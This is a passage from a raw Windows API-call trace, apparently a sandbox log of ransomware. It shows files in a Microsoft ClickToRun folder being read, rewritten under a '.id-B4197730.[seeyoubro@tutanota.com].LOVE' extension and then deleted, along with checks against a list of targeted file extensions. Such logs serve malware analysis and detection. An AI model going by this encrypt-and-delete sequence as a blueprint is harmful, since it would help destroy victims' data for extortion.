lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0x48d0, lpOverlapped=0x0) returned 1 [0209.351] ReadFile (in: hFile=0x33c, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0209.351] WriteFile (in: hFile=0x37c, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0x112, lpOverlapped=0x0) returned 1 [0209.351] SetEndOfFile (hFile=0x37c) returned 1 [0209.352] CloseHandle (hObject=0x37c) returned 1 [0209.352] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0209.353] SetEndOfFile (hFile=0x33c) returned 1 [0209.353] CloseHandle (hObject=0x33c) returned 1 [0209.353] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0209.354] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 1 [0209.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0209.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0209.354] lstrlenW (lpString=".doc") returned 4 [0209.354] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.354] lstrlenW (lpString=".docx") returned 5 [0209.354] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.354] lstrlenW (lpString=".pdf") returned 4 [0209.354] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.354] lstrlenW (lpString=".xls") returned 4 [0209.354] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.354] lstrlenW (lpString=".xlsx") returned 5 [0209.354] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.354] lstrlenW (lpString=".ppt") returned 4 [0209.354] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0209.354] lstrlenW (lpString=".zip") returned 4 [0209.354] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.354] lstrlenW (lpString=".rar") returned 4 [0209.354] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.354] lstrlenW (lpString=".bz2") returned 4 [0209.354] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.355] lstrlenW (lpString=".7z") returned 3 [0209.355] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0209.355] lstrlenW (lpString=".dbf") returned 4 [0209.355] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0209.355] lstrlenW (lpString=".1cd") returned 4 [0209.355] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0209.355] lstrlenW (lpString=".jpg") returned 4 [0209.355] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0209.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0209.355] lstrlenW (lpString=".doc") returned 4 [0209.355] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.355] lstrlenW (lpString=".docx") returned 5 [0209.355] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.355] lstrlenW (lpString=".pdf") returned 4 [0209.355] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.355] lstrlenW (lpString=".xls") returned 4 [0209.355] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.355] lstrlenW (lpString=".xlsx") returned 5 [0209.355] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.355] lstrlenW (lpString=".ppt") returned 4 [0209.355] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0209.355] lstrlenW (lpString=".zip") returned 4 [0209.355] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.355] lstrlenW (lpString=".rar") returned 4 [0209.356] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.356] lstrlenW (lpString=".bz2") returned 4 [0209.356] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.356] lstrlenW (lpString=".7z") returned 3 [0209.356] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0209.356] lstrlenW (lpString=".dbf") returned 4 [0209.356] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0209.356] lstrlenW (lpString=".1cd") returned 4 [0209.356] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0209.356] lstrlenW (lpString=".jpg") returned 4 [0209.356] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.356] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.356] lstrlenW (lpString="api-ms-win-core-synch-l1-2-0.dll") returned 32 [0209.356] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0209.356] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=19136) returned 1 [0209.356] CloseHandle (hObject=0x33c) returned 1 [0209.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x20 [0209.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.357] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0209.357] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0209.357] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0209.357] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0209.357] GetLastError () returned 0x0 [0209.357] ReadFile (in: hFile=0x33c, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0209.410] WriteFile (in: hFile=0x37c, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0209.411] ReadFile (in: hFile=0x33c, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0209.411] WriteFile (in: hFile=0x37c, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0x114, lpOverlapped=0x0) returned 1 [0209.411] SetEndOfFile (hFile=0x37c) returned 1 [0209.411] CloseHandle (hObject=0x37c) returned 1 [0209.412] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0209.412] SetEndOfFile (hFile=0x33c) returned 1 [0209.413] CloseHandle (hObject=0x33c) returned 1 [0209.413] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0209.413] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 1 [0209.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0209.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0209.414] lstrlenW (lpString=".doc") returned 4 [0209.414] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.414] lstrlenW (lpString=".docx") returned 5 [0209.414] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.414] lstrlenW (lpString=".pdf") returned 4 [0209.414] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.414] lstrlenW (lpString=".xls") returned 4 [0209.414] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.414] lstrlenW (lpString=".xlsx") returned 5 [0209.414] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.414] lstrlenW (lpString=".ppt") returned 4 [0209.414] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0209.414] lstrlenW (lpString=".zip") returned 4 [0209.414] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.414] lstrlenW (lpString=".rar") returned 4 [0209.414] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.414] lstrlenW (lpString=".bz2") returned 4 [0209.414] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.414] lstrlenW (lpString=".7z") returned 3 [0209.414] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0209.414] lstrlenW (lpString=".dbf") returned 4 [0209.414] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0209.414] lstrlenW (lpString=".1cd") returned 4 [0209.414] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0209.414] lstrlenW (lpString=".jpg") returned 4 [0209.415] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0209.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0209.415] lstrlenW (lpString=".doc") returned 4 [0209.415] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.415] lstrlenW (lpString=".docx") returned 5 [0209.415] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.415] lstrlenW (lpString=".pdf") returned 4 [0209.415] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.415] lstrlenW (lpString=".xls") returned 4 [0209.415] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.415] lstrlenW (lpString=".xlsx") returned 5 [0209.415] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.415] lstrlenW (lpString=".ppt") returned 4 [0209.415] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0209.415] lstrlenW (lpString=".zip") returned 4 [0209.415] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.415] lstrlenW (lpString=".rar") returned 4 [0209.415] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.415] lstrlenW (lpString=".bz2") returned 4 [0209.415] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.415] lstrlenW (lpString=".7z") returned 3 [0209.415] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0209.415] lstrlenW (lpString=".dbf") returned 4 [0209.415] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0209.415] lstrlenW (lpString=".1cd") returned 4 [0209.416] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0209.416] lstrlenW (lpString=".jpg") returned 4 [0209.416] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.416] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.416] lstrlenW (lpString="api-ms-win-crt-convert-l1-1-0.dll") returned 33 [0209.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0209.416] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=22720) returned 1 [0209.416] CloseHandle (hObject=0x33c) returned 1 [0209.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x20 [0209.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0209.416] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0209.416] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0209.417] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0209.417] GetLastError () returned 0x0 [0209.417] ReadFile (in: hFile=0x33c, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x58c0, lpOverlapped=0x0) returned 1 [0209.429] WriteFile (in: hFile=0x37c, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0x58d0, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0x58d0, lpOverlapped=0x0) returned 1 [0209.430] ReadFile (in: hFile=0x33c, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0209.430] WriteFile (in: hFile=0x37c, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0x116, lpOverlapped=0x0) returned 1 [0209.430] SetEndOfFile (hFile=0x37c) returned 1 [0209.430] CloseHandle (hObject=0x37c) returned 1 [0209.431] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0209.431] SetEndOfFile (hFile=0x33c) returned 1 [0209.432] CloseHandle (hObject=0x33c) returned 1 [0209.432] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0209.433] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 1 [0209.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0209.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0209.435] lstrlenW (lpString=".doc") returned 4 [0209.435] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.435] lstrlenW (lpString=".docx") returned 5 [0209.436] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.436] lstrlenW (lpString=".pdf") returned 4 [0209.436] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.436] lstrlenW (lpString=".xls") returned 4 [0209.436] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.436] lstrlenW (lpString=".xlsx") returned 5 [0209.436] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.436] lstrlenW (lpString=".ppt") returned 4 [0209.436] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0209.436] lstrlenW (lpString=".zip") returned 4 [0209.436] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.436] lstrlenW (lpString=".rar") returned 4 [0209.436] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.436] lstrlenW (lpString=".bz2") returned 4 [0209.436] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.436] lstrlenW (lpString=".7z") returned 3 [0209.436] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0209.436] lstrlenW (lpString=".dbf") returned 4 [0209.436] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0209.436] lstrlenW (lpString=".1cd") returned 4 [0209.436] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0209.436] lstrlenW (lpString=".jpg") returned 4 [0209.436] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0209.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0209.437] lstrlenW (lpString=".doc") returned 4 [0209.437] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.437] lstrlenW (lpString=".docx") returned 5 [0209.437] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.437] lstrlenW (lpString=".pdf") returned 4 [0209.437] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.437] lstrlenW (lpString=".xls") returned 4 [0209.437] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.437] lstrlenW (lpString=".xlsx") returned 5 [0209.437] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.437] lstrlenW (lpString=".ppt") returned 4 [0209.437] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0209.437] lstrlenW (lpString=".zip") returned 4 [0209.437] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.437] lstrlenW (lpString=".rar") returned 4 [0209.437] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.437] lstrlenW (lpString=".bz2") returned 4 [0209.437] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.437] lstrlenW (lpString=".7z") returned 3 [0209.437] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0209.437] lstrlenW (lpString=".dbf") returned 4 [0209.437] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0209.437] lstrlenW (lpString=".1cd") returned 4 [0209.437] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0209.438] lstrlenW (lpString=".jpg") returned 4 [0209.438] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.438] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.438] lstrlenW (lpString="api-ms-win-crt-filesystem-l1-1-0.dll") returned 36 [0209.438] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0209.442] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=20672) returned 1 [0209.442] CloseHandle (hObject=0x388) returned 1 [0209.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x20 [0209.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.446] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0209.446] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0209.446] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0209.446] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft 